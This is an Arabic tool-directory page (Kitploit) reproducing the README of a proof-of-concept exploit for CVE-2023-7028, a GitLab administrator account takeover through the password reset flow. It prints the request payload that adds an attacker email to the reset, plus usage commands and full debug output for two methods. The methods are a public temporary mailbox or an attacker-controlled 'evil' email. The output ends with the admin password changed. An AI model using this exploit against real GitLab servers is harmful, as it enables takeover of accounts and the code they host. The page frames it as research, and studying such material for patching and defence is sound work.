Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-7028 — This repository presents a proof-of-concept of CVE-2023-7028 | Kitploit
أدوات/GitHubGitHub/vozec/cve-2023-7028
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubvozec/cve-2023-7028

CVE-2023-7028

This repository presents a proof-of-concept of CVE-2023-7028

عرض المستودع
24442منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-7028 | الاستيلاء على حساب GitLab

إخلاء مسؤولية

هذا الكود هو إثبات مفهوم للثغرة، ولا أشجع أي شخص على استخدامه على حالات GitLab التي لا يملكها.
تم تطوير هذه الأداة لأغراض البحث والتعليم فقط، ولن أتحمل مسؤولية أي استخدام قد تقوم به لها.

الوصف:

يشير CVE-2023-7028 إلى ثغرة الاستيلاء على الحساب التي تتيح للمستخدمين السيطرة على حساب مسؤول GitLab دون تفاعل المستخدم.

تكمن الثغرة في إدارة رسائل البريد الإلكتروني عند إعادة تعيين كلمات المرور. يمكن للمهاجم تقديم بريدين إلكترونيين وسيتم إرسال رمز إعادة التعيين إلى كليهما.
لذلك من الممكن تقديم عنوان البريد الإلكتروني للحساب المستهدف بالإضافة إلى عنوان البريد الإلكتروني للمهاجم، وإعادة تعيين كلمة مرور المسؤول.
(تشير GitLab إلى أن المصادقة الثنائية تمنع استغلال هذه الثغرة، لأن المهاجم، حتى بعد إعادة تعيين كلمة المرور، لن يتمكن من تسجيل الدخول.)

تم اكتشاف هذه الثغرة بواسطة asterion04

الحمولة:

فيما يلي مثال على الحمولة:

root@kitploit:~
user[email][][email protected]&user[email][][email protected]

إثبات المفهوم:

الطريقة الأولى: استخدام بريد مؤقت
root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]

[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: l3mG2v2XN4UBzbN18ZkW
الطريقة الثانية: استخدام بريد إلكتروني ضار
root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]

[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
        Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: EU7XIYjlawjb5tH2jgmU

المساعدة

root@kitploit:~
$ python3 .\CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL -t TARGET [-e EVIL]

This tool automates CVE-2023-7028 on gitlab

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Gitlab url
  -t TARGET, --target TARGET
                        Target email
  -e EVIL, --evil EVIL  Evil email
  -p PASSWORD, --password PASSWORD
                        Password

ملاحظة:

بدون الخيار --evil، الذي يحدد عنوان البريد الإلكتروني للمهاجم، يستخدم البرنامج النصي بريدًا مؤقتًا عامًا للعثور على رابط إعادة تعيين كلمة المرور.
=> كن حذرًا إذا تم استخدام إثبات المفهوم هذا أثناء اختبار الاختراع.

الإصدارات المتأثرة

  • 16.1 إلى 16.1.5
  • 16.2 إلى 16.2.8
  • 16.3 إلى 16.3.6
  • 16.4 إلى 16.4.4
  • 16.5 إلى 16.5.5
  • 16.6 إلى 16.6.3
  • 16.7 إلى 16.7.1

المراجع:

  • https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
  • https://docs.gitlab.com/ee/install/docker.html
  • https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0030/
تنزيل الأداة